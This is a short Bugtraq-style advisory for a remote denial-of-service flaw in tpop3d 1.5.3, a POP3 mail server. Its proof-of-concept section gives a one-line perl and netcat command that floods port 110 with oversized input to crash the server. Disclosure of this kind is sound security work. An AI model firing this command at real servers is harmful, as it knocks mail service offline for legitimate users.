tpop3d Remote Denial of Service Vulnerability

BID:39838

Info

tpop3d Remote Denial of Service Vulnerability

Bugtraq ID: 39838
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 26 2010 12:00AM
Updated: Mar 26 2010 12:00AM
Credit: OrderZero
Vulnerable: Chris Lightfoot tpop3d 1.5.3
Not Vulnerable:

Discussion

tpop3d Remote Denial of Service Vulnerability

tpop3d is prone to a remote denial-of-service vulnerability because it fails to handle exceptional user-supplied input.

Successfully exploiting this issue will allow remote attackers to crash the affected application, denying service to legitimate users.

tpop3d 1.5.3 is vulnerable.

Exploit / POC

tpop3d Remote Denial of Service Vulnerability

The following example is available:

perl -e 'printf "a"x999999' | nc target 110

Solution / Fix

tpop3d Remote Denial of Service Vulnerability

Solution:
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References

tpop3d Remote Denial of Service Vulnerability

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